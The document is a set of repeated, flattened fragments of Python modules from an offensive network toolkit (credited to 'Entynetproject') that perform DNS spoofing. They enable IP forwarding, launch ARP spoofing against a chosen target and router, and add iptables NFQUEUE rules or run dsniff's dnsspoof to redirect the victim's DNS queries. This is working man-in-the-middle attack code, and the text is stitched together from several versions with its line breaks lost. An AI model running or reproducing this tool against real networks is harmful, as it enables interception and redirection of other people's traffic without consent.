def run(): if importerror == True: printError("Netfilterqueue is not imported!") print("Traceback:\n" + str(error)) return controller.reset() printInfo("Loading host list...") try: hostfile = open(getpath.conf() + "hosts", "r").read() except FileNotFoundError: printError("Host list is not found!") return except PermissionError: printError("Permission denied!") for line in hostfile.splitlines(): if "#" not in line and len(line.split()) == 2: hostlist.append(line.split()) for item in hostlist: try: item[0] = item[0].encode() except AttributeError: pass try: item[1] = item[1].encode() except AttributeError: pass if variables["arp_spoof"][0] == "true": printInfo("IPv4 forwarding...") os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward') printInfo("Starting ARP spoof...") arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller) arpspoof.start() printInform("Ctrl-C to stop.") os.system( 'iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1' ) try: q = NetfilterQueue() q.bind(1, callback) try: q.run() except KeyboardInterrupt: controller.kill = True q.unbind() os.system('iptables -F') os.system('iptables -X') printInform("DNS spoof stopped.") except: printError("Unexcepted error:\n") traceback.print_exc(file=sys.stdout) controller.kill = True if variables["arp_spoof"][0] == "true": printInfo("Stopping ARP spoof...") arpspoof.join()
def run(): if importerror == True: printError("netfilterqueue isn't imported") printInfo("install the dependencies and reload this module") print("traceback:\n"+str(error)) return controller.reset() printInfo("loading host list...") try: hostfile = open(getpath.conf()+"hosts", "r").read() except FileNotFoundError: printError("host list not found") return except PermissionError: printError("permission denied") for line in hostfile.splitlines(): if "#" not in line and len(line.split()) == 2: hostlist.append(line.split()) for item in hostlist: try: item[0] = item[0].encode() except AttributeError: pass try: item[1] = item[1].encode() except AttributeError: pass if variables["arp_spoof"][0] == "true": printInfo("ipv4 forwarding...") os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward') printInfo("starting arp spoof...") arpspoof = ArpSpoofer(variables["router"][0], variables["target"][0], controller) arpspoof.start() printInfo("ctrl + c to end") os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') try: q = NetfilterQueue() q.bind(1, callback) try: q.run() except KeyboardInterrupt: controller.kill = True q.unbind() os.system('iptables -F') os.system('iptables -X') printInfo("dns spoof ended") except: printError("unexcepted error:\n") traceback.print_exc(file=sys.stdout) controller.kill = True if variables["arp_spoof"][0] == "true": printInfo("stopping arp spoof") arpspoof.join()
def run(): hostslist = getpath.conf()+"hosts" print(bcolors.OKBLUE+"ipv4 forwarding..."+bcolors.END) os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward') print(bcolors.OKBLUE+"starting arp spoof..."+bcolors.END) xterm1 = "xterm -e arpspoof -i "+ variables['interface']+ " -t "+ variables['target']+ " "+ variables['router'] + " &" xterm2 = "xterm -e arpspoof -i "+ variables['interface']+ " -t "+ variables['router']+ " "+ variables['target'] + " &" os.system(xterm1) os.system(xterm2) print(bcolors.OKBLUE+"waiting for arp spoof..."+bcolors.END) time.sleep(5) print(bcolors.OKBLUE+"starting dns spoof..."+bcolors.END) xterm3 = "xterm -e dnsspoof -i "+ variables['interface']+ " -f "+ hostslist + " host " + variables['target']+ " &" os.system(xterm3) print(bcolors.OKBLUE+'use "stop" command to end'+bcolors.END)
def run(): hostslist = getpath.conf() + "hosts" print(bcolors.OKBLUE + "ipv4 forwarding..." + bcolors.END) os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward') print(bcolors.OKBLUE + "starting arp spoof..." + bcolors.END) xterm1 = "xterm -e arpspoof -i " + variables[ 'interface'] + " -t " + variables['target'] + " " + variables[ 'router'] + " &" xterm2 = "xterm -e arpspoof -i " + variables[ 'interface'] + " -t " + variables['router'] + " " + variables[ 'target'] + " &" os.system(xterm1) os.system(xterm2) print(bcolors.OKBLUE + "waiting for arp spoof..." + bcolors.END) time.sleep(5) print(bcolors.OKBLUE + "starting dns spoof..." + bcolors.END) xterm3 = "xterm -e dnsspoof -i " + variables[ 'interface'] + " -f " + hostslist + " host " + variables[ 'target'] + " &" os.system(xterm3) print(bcolors.OKBLUE + 'use "stop" command to end' + bcolors.END)
"shortdesc": "Network targets DNS spoofer.", "author": "Entynetproject", "initdate": "29.4.2016", "lastmod": "31.12.2016", "apisupport": False, "needroot": 1, "dependencies": ["libnetfilter-queue-dev", "python3.5-dev"] } # List of the variables variables = OrderedDict((('target', ['192.168.1.2', 'Target IP address.']), ('router', ['192.168.1.1', 'Router IP address.']), ("arp_spoof", ["true", "Enable ARP spoof."]))) # Additional notes to options option_notes = colors.red + 'Remember to edit hostlist:\n' + getpath.conf( ) + "hosts" + colors.end customcommands = {'stop': 'Stop DNS spoof.'} #simple changelog changelog = "Version 1.0:\nrelease\nVersion 2.0:\n rewritten" class Controller: kill = False error = None def __init__(self): self.kill = False self.error = None
('target', '192.168.1.2'), ('router', '192.168.1.1'), )) #description for variables vdesc = [ 'target interface', 'target address', 'router address', ] #additional help notes help_notes = bcolors.WARNING + "this module will not work without dsniff!" + bcolors.END #additional notes to options option_notes = bcolors.WARNING + 'remember to edit hostslist:\n' + getpath.conf( ) + "hosts" + bcolors.END mhelp = OrderedDict((('stop', 'end dnsspoof'), )) customcommands = ('stop', ) #simple changelog changelog = bcolors.YEL + "Version 1.0:\nrelease" + bcolors.END def run(): hostslist = getpath.conf() + "hosts" print(bcolors.OKBLUE + "ipv4 forwarding..." + bcolors.END) os.system('echo "1" >> /proc/sys/net/ipv4/ip_forward') print(bcolors.OKBLUE + "starting arp spoof..." + bcolors.END) xterm1 = "xterm -e arpspoof -i " + variables[
"lastmod": "31.12.2016", "apisupport": False, "needroot": 1, "dependencies": ["libnetfilter-queue-dev", "python3.5-dev"] } # List of the variables variables = OrderedDict(( ('target', ['192.168.1.2', 'target address']), ('router', ['192.168.1.1', 'router address']), ("arp_spoof", ["true", "arp spoof [true/false]"]) )) # Additional notes to options option_notes = colors.red+'remember to edit hostlist:\n'+getpath.conf()+"hosts"+colors.end customcommands = { 'stop': 'end dns spoof' } #simple changelog changelog = "Version 1.0:\nrelease\nVersion 2.0:\n rewritten" class Controller: kill = False error = None def __init__(self): self.kill = False self.error = None
('target', '192.168.1.2'), ('router', '192.168.1.1'), )) #description for variables vdesc = [ 'target interface', 'target address', 'router address', ] #additional help notes help_notes = bcolors.WARNING+"this module will not work without dsniff!"+bcolors.END #additional notes to options option_notes = bcolors.WARNING+'remember to edit hostslist:\n'+getpath.conf()+"hosts"+bcolors.END mhelp = OrderedDict(( ('stop', 'end dnsspoof'), )) customcommands = ( 'stop', ) #simple changelog changelog = bcolors.YEL+"Version 1.0:\nrelease"+bcolors.END def run(): hostslist = getpath.conf()+"hosts"